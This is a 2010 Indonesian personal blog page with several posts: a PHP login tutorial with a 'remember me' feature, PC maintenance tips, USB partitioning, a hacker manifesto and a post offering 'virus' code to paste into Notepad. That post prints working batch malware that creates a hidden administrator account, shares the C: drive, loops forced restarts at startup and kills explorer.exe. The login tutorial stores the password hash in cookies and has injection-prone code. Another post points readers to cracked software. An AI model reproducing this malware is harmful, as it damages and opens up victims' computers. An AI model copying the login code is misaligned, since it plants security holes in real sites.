Rabu, 01 Desember 2010

PHP Login Script with Remember Me Feature

Posted On 20.54 by .: Aringga Zone :. 0 komentar


Introduction

I just started programming with PHP and MySQL this week and the first script I wanted to write was a login script. I wanted to include the popular "Remember Me" feature seen on a lot of websites that basically keeps users logged into the website, even after they've closed the browser so that the next time they come, they won't have to login again manually.
I found this tutorial Creating a PHP Login Script to be very helpful in writing this script, in fact, a lot of the code presented here is very similar to the code presented in that tutorial. The differences are seen with the new "Remember Me" feature, the use of cookies in addition to sessions, and with slight modifications in the design.

Goals

The ultimate goal is to create a PHP login script with the capability of remembering logged-in users. I also hope this tutorial will serve as a way to introduce people to user sessions and cookies in PHP.

Notes

Although this tutorial uses a MySQL database for storing user information, it has been written so that the data accessing code is separated from the main code through specific functions, so it would be easy to instead use a flat file "database" system, simply by changing the code in those specific functions, without messing with the rest. This tutorial uses the latest and greatest of PHP 4, which means super globals are used, such as $_POST, $_SESSION, etc.. This tutorial will aim to teach you about sessions and cookies through example, however if you need to know more information, go to the official website .

Database

For those of you planning on using a flat file system, you can skip this section. For the rest of us, we want to create a MySQL database table that holds user information, here it is:
CREATE TABLE users (
    username varchar(30),
    password varchar(32));
Of course this table can be modified according to your needs, however the password field must not be less than 32 because it has to store the md5 encrypted versions of passwords which are 32 bytes.

database.php

This file will contain the code that connects you to your MySQL database and the functions that access user information, you need to modify this to show your MySQL username, password and database.
<?
 
/**
* Connect to the mysql database.
*/
$conn = mysql_connect("localhost", "your_username", "your_password") or die(mysql_error());
mysql_select_db('your_database', $conn) or die(mysql_error());
 
?>

Allow Users to Sign-Up

Before we can login users, we need users. Here we will focus on the code that allows users to sign-up, registering their username and password.

register.php

<?
session_start(); 
include("database.php");
 
/**
* Returns true if the username has been taken
* by another user, false otherwise.
*/
function usernameTaken($username){
   global $conn;
   if(!get_magic_quotes_gpc()){
      $username = addslashes($username);
   }
   $q = "select username from users where username = '$username'";
   $result = mysql_query($q,$conn);
   return (mysql_numrows($result) > 0);
}
 
/**
* Inserts the given (username, password) pair
* into the database. Returns true on success,
* false otherwise.
*/
function addNewUser($username, $password){
   global $conn;
   $q = "INSERT INTO users VALUES ('$username', '$password')";
   return mysql_query($q,$conn);
}
 
/**
* Displays the appropriate message to the user
* after the registration attempt. It displays a 
 * success or failure status depending on a
* session variable set during registration.
*/
function displayStatus(){
   $uname = $_SESSION['reguname'];
   if($_SESSION['regresult']){
?>
 
<h1>Registered!</h1>
<p>Thank you <b><? echo $uname; ?></b>, your information has been added to the database, you may now <a href="main.php" title="Login">log in</a>.</p>
 
<?
   }
   else{
?>
 
<h1>Registration Failed</h1>
<p>We're sorry, but an error has occurred and your registration for the username <b><? echo $uname; ?></b>, could not be completed.<br>
Please try again at a later time.</p>
 
<?
   }
   unset($_SESSION['reguname']);
   unset($_SESSION['registered']);
   unset($_SESSION['regresult']);
}
 
if(isset($_SESSION['registered'])){
/**
* This is the page that will be displayed after the
* registration has been attempted.
*/
?>
 
<html>
<title>Registration Page</title>
<body>
 
<? displayStatus(); ?>
 
</body>
</html>
 
<?
   return;
}
 
/**
* Determines whether or not to show to sign-up form
* based on whether the form has been submitted, if it
* has, check the database for consistency and create
* the new account.
*/
if(isset($_POST['subjoin'])){
   /* Make sure all fields were entered */
   if(!$_POST['user'] || !$_POST['pass']){
      die('You didn\'t fill in a required field.');
   }
 
   /* Spruce up username, check length */
   $_POST['user'] = trim($_POST['user']);
   if(strlen($_POST['user']) > 30){
      die("Sorry, the username is longer than 30 characters, please shorten it.");
   }
 
   /* Check if username is already in use */
   if(usernameTaken($_POST['user'])){
      $use = $_POST['user'];
      die("Sorry, the username: <strong>$use</strong> is already taken, please pick another one.");
   }
 
   /* Add the new account to the database */
   $md5pass = md5($_POST['pass']);
   $_SESSION['reguname'] = $_POST['user'];
   $_SESSION['regresult'] = addNewUser($_POST['user'], $md5pass);
   $_SESSION['registered'] = true;
   echo "<meta http-equiv=\"Refresh\" content=\"0;url=$HTTP_SERVER_VARS[PHP_SELF]\">";
   return;
}
else{
/**
* This is the page with the sign-up form, the names
* of the input fields are important and should not
* be changed.
*/
?>
 
<html>
<title>Registration Page</title>
<body>
<h1>Register</h1>
<form action="<? echo $HTTP_SERVER_VARS['PHP_SELF']; ?>" method="post">
<table align="left" border="0" cellspacing="0" cellpadding="3">
<tr><td>Username:</td><td><input type="text" name="user" maxlength="30"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" maxlength="30"></td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="subjoin" value="Join!"></td></tr>
</table>
</form>
</body>
</html>
 
 
<?
}
?>
Read through the code and see what it's doing, there are comments there to help you. It was written with you in mind, I tried to make it so people could just paste their website specific html code in between the php code with ease. Don't be scared when you see the use of session variables right away, they are used to tell the script key information like the requested username, registration attempt and registration success. With this information the script knows what to display, and when the registration is done, it "forgets" the information (by unsetting the variables).

Note

You'll notice that the script immediately refreshes itself after the registration request, this is done to eliminate the case where users, for any reason, hit the Refresh button on their browser and cause a pop-up window that says the page has expired and prompts the user to send the registration request again. This technique is also used in the login script, so watch out for it.

Allow Users to Log-In

Now the fun begins, now that we have users, we can log them in. This is the heart of this tutorial, it will create the login script with the "Remember me" feature that we all want, and it accomplishes this by using cookies.

login.php

<?
 
/**
* Checks whether or not the given username is in the
* database, if so it checks if the given password is
* the same password in the database for that user.
* If the user doesn't exist or if the passwords don't
* match up, it returns an error code (1 or 2). 
 * On success it returns 0.
*/
function confirmUser($username, $password){
   global $conn;
   /* Add slashes if necessary (for query) */
   if(!get_magic_quotes_gpc()) {
        $username = addslashes($username);
   }
 
   /* Verify that user is in database */
   $q = "select password from users where username = '$username'";
   $result = mysql_query($q,$conn);
   if(!$result || (mysql_numrows($result) < 1)){
      return 1; //Indicates username failure
   }
 
   /* Retrieve password from result, strip slashes */
   $dbarray = mysql_fetch_array($result);
   $dbarray['password']  = stripslashes($dbarray['password']);
   $password = stripslashes($password);
 
   /* Validate that password is correct */
   if($password == $dbarray['password']){
      return 0; //Success! Username and password confirmed
   }
   else{
      return 2; //Indicates password failure
   }
}
 
/**
* checkLogin - Checks if the user has already previously
* logged in, and a session with the user has already been
* established. Also checks to see if user has been remembered.
* If so, the database is queried to make sure of the user's 
 * authenticity. Returns true if the user has logged in.
*/
function checkLogin(){
   /* Check if user has been remembered */
   if(isset($_COOKIE['cookname']) && isset($_COOKIE['cookpass'])){
      $_SESSION['username'] = $_COOKIE['cookname'];
      $_SESSION['password'] = $_COOKIE['cookpass'];
   }
 
   /* Username and password have been set */
   if(isset($_SESSION['username']) && isset($_SESSION['password'])){
      /* Confirm that username and password are valid */
      if(confirmUser($_SESSION['username'], $_SESSION['password']) != 0){
         /* Variables are incorrect, user not logged in */
         unset($_SESSION['username']);
         unset($_SESSION['password']);
         return false;
      }
      return true;
   }
   /* User not logged in */
   else{
      return false;
   }
}
 
/**
* Determines whether or not to display the login
* form or to show the user that he is logged in
* based on if the session variables are set.
*/
function displayLogin(){
   global $logged_in;
   if($logged_in){
      echo "<h1>Logged In!</h1>";
      echo "Welcome <b>$_SESSION[username]</b>, you are logged in. <a href=\"logout.php\">Logout</a>";
   }
   else{
?>
 
<h1>Login</h1>
<form action="" method="post">
<table align="left" border="0" cellspacing="0" cellpadding="3">
<tr><td>Username:</td><td><input type="text" name="user" maxlength="30"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" maxlength="30"></td></tr>
<tr><td colspan="2" align="left"><input type="checkbox" name="remember">
<font size="2">Remember me next time</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="sublogin" value="Login"></td></tr>
<tr><td colspan="2" align="left"><a href="register.php">Join</a></td></tr>
</table>
</form>
 
<?
   }
}
 
 
/**
* Checks to see if the user has submitted his
* username and password through the login form,
* if so, checks authenticity in database and
* creates session.
*/
if(isset($_POST['sublogin'])){
   /* Check that all fields were typed in */
   if(!$_POST['user'] || !$_POST['pass']){
      die('You didn\'t fill in a required field.');
   }
   /* Spruce up username, check length */
   $_POST['user'] = trim($_POST['user']);
   if(strlen($_POST['user']) > 30){
      die("Sorry, the username is longer than 30 characters, please shorten it.");
   }
 
   /* Checks that username is in database and password is correct */
   $md5pass = md5($_POST['pass']);
   $result = confirmUser($_POST['user'], $md5pass);
 
   /* Check error codes */
   if($result == 1){
      die('That username doesn\'t exist in our database.');
   }
   else if($result == 2){
      die('Incorrect password, please try again.');
   }
 
   /* Username and password correct, register session variables */
   $_POST['user'] = stripslashes($_POST['user']);
   $_SESSION['username'] = $_POST['user'];
   $_SESSION['password'] = $md5pass;
 
   /**
    * This is the cool part: the user has requested that we remember that
    * he's logged in, so we set two cookies. One to hold his username,
    * and one to hold his md5 encrypted password. We set them both to
    * expire in 100 days. Now, next time he comes to our site, we will
    * log him in automatically.
    */
   if(isset($_POST['remember'])){
      setcookie("cookname", $_SESSION['username'], time()+60*60*24*100, "/");
      setcookie("cookpass", $_SESSION['password'], time()+60*60*24*100, "/");
   }
 
   /* Quick self-redirect to avoid resending data on refresh */
   echo "<meta http-equiv=\"Refresh\" content=\"0;url=$HTTP_SERVER_VARS[PHP_SELF]\">";
   return;
}
 
/* Sets the value of the logged_in variable, which can be used in your code */
$logged_in = checkLogin();
 
?>
This one's a little bit tricky because of the function calling. Let me just clarify what this script does.
It first checks to see if the login form has just been filled out and submitted, if not it checks to see if a session has already been established where the username and password are already known. This is true in two cases, when the user has chosen to be remembered and a session is established automatically, or when the user has not chosen to be remembered but has already logged in and is still using the same browser window that he used to log in.
If either of these two cases is true, then it verifies that the username is in the database and that the password is valid, if these two checks pass then the almighty $logged_in variable is set to true, false otherwise. If the user has just filled out the login form and submitted it, the script detects this and then verifies the authenticity of the username and password, if all is well then session variables are set with the username and md5 encrypted password.
Great, but when does the login form get displayed? That's all up to you. It's up to you the programmer to display the login form when the $logged_in variable is false. But wait! I have added a function that you can call that relieves you of this horrible burden. The displayLogin() function is there to check if the $logged_in variable is true or not and displays information accordingly. How to use this function is described in the Usage section.

Note

login.php is not meant to be a stand-alone file like register.php, it is meant to be included at the top of every file that needs to use it, so it doesn't contain the call to "session_start()", that should be at the top of the file that wants to include login.php, as you will see in the examples below.

Remember Me Feature

So, how was this accomplished again? As is described in login.php, when a user chooses to be remembered, two cookies are set on the user's computer. Well, really one cookie, but one that contains two important pieces of information: the username and the md5 encrypted password. What is a cookie anyways? It is a temporary file that is stored on the user's computer on behalf of the website in order to hold information that is important to the website. How long does this temporary file last? As long as we say so. As written, the expiry time is 100 days, after which the cookie will be deleted. However, it also gets deleted when the user decides to log out, as you will soon see.

Allow Users to Log-Out

If users want to log-out, we should let them. All we need to do is delete the cookies we've set if they chose to be remembered, and simply unset the session variables. Done.

logout.php

<?
session_start(); 
include("database.php");
include("login.php");
 
/**
* Delete cookies - the time must be in the past,
* so just negate what you added when creating the
* cookie.
*/
if(isset($_COOKIE['cookname']) && isset($_COOKIE['cookpass'])){
   setcookie("cookname", "", time()-60*60*24*100, "/");
   setcookie("cookpass", "", time()-60*60*24*100, "/");
}
 
?>
 
<html>
<title>Logging Out</title>
<body>
 
<?
 
if(!$logged_in){
   echo "<h1>Error!</h1>\n";
   echo "You are not currently logged in, logout failed. Back to <a href=\"main.php\">main</a>";
}
else{
   /* Kill session variables */
   unset($_SESSION['username']);
   unset($_SESSION['password']);
   $_SESSION = array(); // reset session array
   session_destroy();   // destroy session.
 
   echo "<h1>Logged Out</h1>\n";
   echo "You have successfully <b>logged out</b>. Back to <a href=\"main.php\">main</a>";
}
 
?>
 
</body>
</html>
You're probably wondering why login.php was included in logout.php, seems a little weird right? Well, if the user is not logged in how can we log them out? We use login.php to verify that the user really is logged in with the help of the variable $logged_in which gets set when login.php is run.

Flat File Database

If you don't have MySQL, don't worry, you can still use this script! All you would have to do is change the following functions to include your flat file user management code, but remember to keep the operations and return values consistent with the documentation.
  • In register.php - change usernameTaken() and addNewUser()
  • In login.php - change confirmUser() and checkLogin()

Usage

Now that everything has been coded, all that's left is for you to know how to actually use this beast.
  • database.php - make sure you put your own MySQL information into it
  • register.php and logout.php - no changes needed, however you could change the html to reflect that of your website
  • login.php - In order to use it within a file you must call "session_start()" before the line where you include login.php.
I've mentioned the function "displayLogin()" found within login.php. If you call it within one of your files, it will display the login form if no user is logged in, if a user is logged in, it displays a message reflecting such. The point of this is so that you won't have to include that code in all of your files, all you have to do is just call the function:

Example: main.php

<? 
/* Include Files *********************/
session_start(); 
include("database.php");
include("login.php");
/*************************************/
?>
 
<html>
<title>Jpmaster77's Login Script</title>
<body>
 
<? displayLogin(); ?>
 
</body>
</html>
You should also know that login.php sets a boolean variable called $logged_in, which is true when a user is logged in, and false when no user is logged in. You can use this variable in your files for whatever you'd like.

Example: main2.php

<? 
/* Include Files *********************/
session_start(); 
include("database.php");
include("login.php");
/*************************************/
?>
 
<html>
<title>Jpmaster77's Login Script</title>
<body>
 
<? 
if($logged_in){
   echo 'Logged in as '.$_SESSION['username'].', <a href="logout.php">logout</a>';
}else{
   echo 'Not logged in.';
}
?>
 
</body>
</html>

Improvements

What can make this script even better? Well, you can add a check to enforce that usernames are strictly alphanumeric, without any wacky characters. At registration, you probably want more info from the user (email, homepage, location,..), but this script is about user logins, so we only focused on the username and password.
Also the error pages are not very cool, for example, when someone doesn't enter a field thats required from the form, instead of just stopping and printing an error message, you can redirect him to the form again, but have specified which field was left blank (in red lettering possibly). There's more that I'm sure you'll think of.


Senin, 15 November 2010

Cara Rawat Hardisk Biar Awet

Posted On 21.55 by .: Aringga Zone :. 0 komentar


Hardisk sering error, berikut adalah tips dan trik untuk menjaga agar hardisk komputer tetap awet dan bagus.

1.Installlah sebuah antivirus untuk berjaga jaga apabila nantinya ada virus yang menyerang dan  merusak data anda..kalo bisa antivirusnya harus rutin di update..liat  daftar anti virus terbaru disini
2.Usahakan untuk selalu melakukan backup data yang penting.
3.Gunakan scandisk untuk mengecek apakah ada batsector didalam harddisk.
4.selalu lakukan Defragment 2 minggu sekali agar data data didalam harddisk selalu tersusun rapi.
5.Gunakan Software pihak ketiga untuk membersihkan junk file,duplikat file,dan recycle byn..anda bisa menggunakan System Cleaner
6.Jangan  terlalu sering mencabut dan memasang kembali harddisk kedalam  CPU..karena Harddisk sangat sensitiv.jika terkena goncangan,maka data  data didalam harddisk terancam hilang.
7.jangan menyimpan data  terlampau banyak.maksudnya jangan sampai free harddisk sampe tinggal  beberapa kylobyte..tapi berilah ruang sedikit agar harddisk tidak  terlalu sesak setidaknya sisakan sekitar 20 MB..apabila anda  menggunakan OS Windows biasanya akan muncul warning jika harddisk kita  terlampau penuh.
8.uninstall program program yang tidak berguna agar tidak memberatkan harddisk.
9.Pakailah  UPS atau Stavolt..Gunanya jika kita menggunakan UPS adalah apabila  sewaktu kita sedang menggunakan komputer tiba tiba listrik  padam,komputer tidak akan langsung mati.jadi kita bisa menyimpan dulu  data baru dimatikan.Komputer yang tiba tiba mati tanpa di shutdown  terlebih dahulu akan membuat harddisk cepat rusak.
10.ventilasi  yang cukup..jangan meletakkan CPU ditempat yang terlalu sesak atau  sempit..karena bisa membuat udara tidak bisa keluar sehingga  menyebabkan harddisk menjadi cepat panas.Jadi sebaiknya pilih CPU yang  memiliki banyak kipas dan tempatkan ditempat yang agak luas.


Partisi Flashdisk? Mank bisa ya??? Read Me PlizZzz

Posted On 20.38 by .: Aringga Zone :. 0 komentar


Anda pernah berandai-andai bisa membuat partisi dalam flashdisk USB Anda? Kali ini, dengan mengikuti panduan di bawah Anda akan bisa melakukannya sendiri. File yang akan kita gunakan ini baru bisa didukung oleh Windows XP, dari sononya nggak ada keterangan lebih lanjut tentang Windows Vista ataupun Linux, maaf..
Panduan ini sekaligus menjadi jawaban dari permintaan rekan Otakanan001 yang rajin belajar TI :) Setelah googling dapetlah ringkasan berikut ini.

Cara Kerja
Sebelumnya, saya akan sedikit berikan penjelasan bagaimana logika kerja praktek kita kali ini. Biasanya, Flashdisk USB dideteksi oleh WindowsXP/Vista sebagai Removable Media, mirip seperti CD dan DVD yang bisa dicopot dan dicomot. Oleh karenanya Windows tidak akan menampilkan lebih dari satu partisi Flashdisk. Begitu juga, pengguna tidak diberi pilihan untuk membuat partisi baru dalam Removable Media. Namun, logikanya jika kita bisa membuat Windows mampu mendeteksi Flashdisk USB sebagai Fixed Drive seperti layaknya Harddisk, pengguna dapat membuat multi partisi dalam Flashdisk tersebut. Windows secara otomatis juga akan bisa mendeteksi dan menampilkan partisi tersebut.
Untuk melakukan proses ini, kita perlu membalik Removable Media Bit (RMB) dalam device USB. Inilah yang akan memberitahu kepada Windows bahwa Flashdisk yang kita pakai adalah Fixed Disk, bukan Removable Media. Setelah proses pembalikan bit ini berhasil, Anda akan bisa membuat partisi dalam Flashdisk USB.
Disclaimer
Sebelumnya perlu saya sampaikan bahwa tidak ada jaminan bahwa tool yang dipergunakan dalam panduan ini dapat bekerja baik pada semua flashdisk dan justru mungkin menyebabkan flashdisk rusak. Tidak ada garansi samasekali, pergunakan dengan hati-hati dengan resiko Anda tanggung sendiri. Saya sarankan Anda untuk mem-backup semua data sebelum memulai proses berikut ini.
Proses pembuatan partisi dalam Flashdisk USB.
A. Membalik RMB Flashdisk
  1. Download file BootIt tool dan extract ke dalam PC AndaTancapkan Flashdisk Anda dan jalankan BootIt.exe
  2. Pilih Flip Removable Bit:
    partisi-flashdisk1-boot-it
  3. Cabut flashdisk, dan tancapkan kembali. Sekarang seharusnya Flashdisk Anda akan terdeteksi sebagai Fixed Disk (bukan sebagai removable disk). Anda dapat memeriksanya dengan mengklik kanan Flashdisk dan lihat di Device Properties.
B. Membuat partisi dalam Windows
Langkah berikut ini mensyaratkan Anda sudah membalik RMB Flashdik seperti disebutkan dalam langkah A. di atas.
  1. Pilih Start > Run, ketik diskmgmt.msc [OK]
  2. Dalam jendela Disk Management, klik kanan Flashdisk Anda dan pilih Delete Partition
    partisi-flashdisk1-delete-partition
  3. Klik kanan Flashdisk Anda kembali dan pilih New Partition
    partisi-flashdisk1-new-partition
  4. Ikuti langkah dalam New Partition Wizard dan buat ‘Primary Partition’. Saat berada pada pilihan Partition Size, Pastikan Anda memasukkan nilai yang lebih kecil dari kapasitas maksimal flashdisk Anda untuk menyisakan ruang bagi partisi berikutnya.
    partisi-flashdisk1-partition-size
  5. Lanjutkan Wizard, memberi Pilihan Abjad dan memformat partisi. Saya merekomendasikan FAT32.
  6. Setelah selesai membuat partisi pertama, Anda dapat menambahkan partisi tambahan dengan mengulangi langkah 3 hingga 5 pada space kosong yang tersisa dalam flashdisk.
    partisi-flashdisk1-remaining-partitions
  7. Setelah semua selesai, Anda akan mendapatkan beberapa partisi dalam flashdisk dan terdeteksi sebagai drive yang dapat dipakai secara terpisah dalam Windows.
Mudah bukan? Sekarang Anda bisa mengembangkan penggunaan Fixed Disk ala Flashdisk yang barusan kita buat untuk sesuai keperluan kita masing-masing. Termasuk salah satu kelebihannya, Autorun bawaan Windows ga bakal sering muncul tiap kali kita masukkan Flashdisk. Nah, sekarang tinggal mau Anda gunakan untuk apa?
KETERANGAN (thanks to jaringandingin):
Jika karena sesuatu dan lain hal Anda pengen mengembalikan flashdisk dari Fixed Disk ke kondisi semula, caranya cukup gampang:
  1. Klik kanan pada Bootlt.exe, pilih Run As > Administrator. Di sini Anda (mungkin) akan diminta konfirmasi dan perlu menyediakan password Administrator.
  2. Pilih drive flashdisk anda > klik tombol Flip Removable Bit.
  3. Cabut flashdisk dan colokkan kembali. Sekarang Flashdisk Anda akan kembali menjadi Removable Disk.


Baca selengkapnya di: http://guntingbatukertas.com/tools/panduan-cara-membuat-partisi-dalam-flashdisk-usb-lengkap-bergambar/#ixzz15PuE5lBj
Under Creative Commons License: Attribution No Derivatives


Bikin Virus Sendiri Dari Notepad?? Just Try This

Posted On 20.32 by .: Aringga Zone :. 0 komentar


sebenernya tidak seberapa sulit membuat virus sederhana , yah sekedar untuk ngerjain orang ?gitu ?, bukan seperti itu..... ? biasanya cara berfikir orang-orang jahil ??hehehe.. mmm.... bukannya kita mau membuat virus untuk ngerjain orang sih tapi supaya kita belajar memahami seperti itu toh ternyata orang buat virus nya ,jika kita mengetahuikan kita sedikit lebih paham bahwa inilah SEDIKIT cara membuatnya, bukan begitu ?? silahkan ikuti cara yang begitu simple ini .... simpan dengan NAMA " OKELAHKALAUBEGITU.vbs " ( perhatian jangan masukan namanya dengan spasi ) oya,kalau teman2 mau buat ,misalnya mau di compile "jangan salahkan saya kalau komputernya RUSAK " :)
  1. buka notepad.
  2. masukan kode virus dibawah ini dengan notepad.
  3. jangan dirubah - rubah lagi langsung save dengan nama " okelahkalaubegitu.vbs "
@echo off cd\ cd %SystemRoot%\system32\ md 1001 cd\ cls rem N0 H4rm 15 cau53d unt1| N0w rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3 2 12:00:00.0 & d4t3 as 01/01/2000 echo 12:00:00.00 | time >> nul echo 01/01/2000 | date >> nul net users Microsoft_support support /add rem Th3 u53r 4cc0unt th4t w45 Cr34t3d 15 ju5t 4 |1m1t3d 4cc0unt rem Th15 p13c3 0f c0d3 w1|| m4k3 th3 |1m1t3d u53r 4cc0unt5 t0 4dm1n15tr4t0r 4cc0unt. net localgroup administrators Microsoft_support /add rem 5h4r3 th3 R00t Dr1v3 net share system=C:\ /UNLIMITED cd %SystemRoot%\system32\1001 echo deal=msgbox (”Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus”,20,”Warning”) > %SystemRoot%\system32\1001\warnusr.vbs rem ch4ng35 th3 k3yb04rd 53tt1ng5 ( r4t3 4nd d3|4y ) mode con rate=1 > nul mode con delay=4 >> nul rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y 50m3 4nn0y1ng m5g, as c0d3d ab0v3, 3×4ct|y @ 12:01 and 12:02 at 12:01 /interactive “%SystemRoot%\system32\1001\warnusr.vbs” at 12:02 /interactive “%SystemRoot%\system32\1001\warnusr.vbs” msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” > nul msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” >> nul rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| c0py th3 warnusr.vbs f1|3 2 th3 5t4rtup, th4t w1|| b3 3×3cut3d @ 3v3ryt1me th3 c0mput3r 5t4rt5 copy %SystemRoot%\system32\1001\warnusr.vbs “%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\warnusr.vbs” rem ***************************************************************************************************** rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y Th3 5hutd0wn d14|05 B0X w1th 50m3 m5g and w1|| r35t4rt c0nt1nu0u5|y echo shutdown -r -t 00 -c “Microsoft has encountered a seriuos problem, which needs your attention right now. Hey your computer got infected by Virus. Not even a single anti-virus can detect this virus now. Wanna try? Hahahaha….! ” > %systemroot%\system32\1001\sd.bat copy %systemroot%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat “%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat” rem ***************************************************************************************************** cd\ cls rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| m4k3 th3 v1ru5 b1t 5t34|th13r cd %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\ attrib +h +s +r warnusr.vbs attrib +h +s +r sd.bat cd\ cd %systemroot%\system32 attrib +h +s +r 1001 rem K1||5 th3 3xp|0r3r.3×3 Pr0c355 taskkill /F /IM explorer.exe rem @ EOV // End of Virus


My World

Posted On 02.06 by .: Aringga Zone :. 0 komentar

Inilah dunia kami...
Dunia elektron dan switch... Beauty of the baud...

Kalian menyebut kami penjahat... karena kami menggunakan layanan yang sudah ada tanpa membayar, padahal layanan itu seharusnya sangat murah jika tidak dikuasai oleh orang-orang rakus...

Kami kalian sebut penjahat... karena kami gemar menjelajah. Kami kalian sebut penjahat... karena kami mengejar ilmu pengetahuan.

Ya, aku adalah penjahat. Kejahatanku adalah keingintahuanku. Kejahatanku adalah menilai orang berdasarkan perkataan dan pikiran mereka, dan bukan berdasarkan penampilan mereka. Kejahatanku adalah menjadi lebih pintar dari kalian, sebuah dosa yang tak akan bisa kalian ampuni...

Aku adalah seorang hacker, dan inilah manifestoku. Kau bisa menghentikan satu, tapi kau tak akan bisa menghentikan semuanya... bagaimanapun juga, kami semua sama...

Tapi Bagi Kami kalianlah penjahat pembunuh pemerkosa
yang hanya mementingkan nafsu dan kesenangan saja


Maximalkan Bandwitch Pada Windows

Posted On 02.02 by .: Aringga Zone :. 0 komentar


sistem operasi windows secara default membatasi bandwith untuk koneksi internet sebanyak 20% dari total bandwith. Jadi bisa dibayangkan klo bandwith tersebut di maksimalkan, kecepatan browsingpun bisa bertambah. Untuk memaksimalkan bandwith yang kita miliki, kita harus mengosongkan batasan bandwith tersebut. Caranya sebagai berikut :
1. Klik Start
2. Klik Run
3. Ketik gpedit.msc (Klo ngga ada maka harus didownload dan disetting gpedit.msc)
4. Kemudian klik Ok
5. Setelah masuk klik Administrative Templates
6. Kemudian Klik Network
7. Setelah terbuka klik QoS Packet scheduler
8. Kemudian klik Limit Reservable Bandwidth
9. Dan setelah terbuka ubah setting menjadi Enable
10. Kemudian ubah Bandwidth Limitnya menjadi 0
11. Klik Apply,ok
12. Kemudian keluar dan Restart komputer
Komputer anda akan terasa lebih cepat koneksinya..


Varian Windows 7

Posted On 01.58 by .: Aringga Zone :. 0 komentar

Norton Ghost menyediakan fungsi backup dan restore dengan mudah. Dengan bantuan Hiren’s Boot CD, Anda bisa melakukan prose backup dan restore instalasi Sistem Operasi Anda dengan mudah, praktis dan cepat. Ya, nggak secepat kilat dalam arti sebenarnya sih.. Tapi jauh lebih cepat daripada jika Anda harus menginstall Windows dari awal berikut program yang akan Anda gunakan.
NB : oh ya kalau saya biasa pakai Flashdisk Kingstone buat boot ke aplikasi Ghost yang sudah saya masukkan ke flash disk..... so bikin warnet jadi lebih cepet tinggal clone aja windows nya skalian aplikasi yg ada di dalem nya.....! key met mencoba.... download app nya ke indowebster aja banyak free + crack nya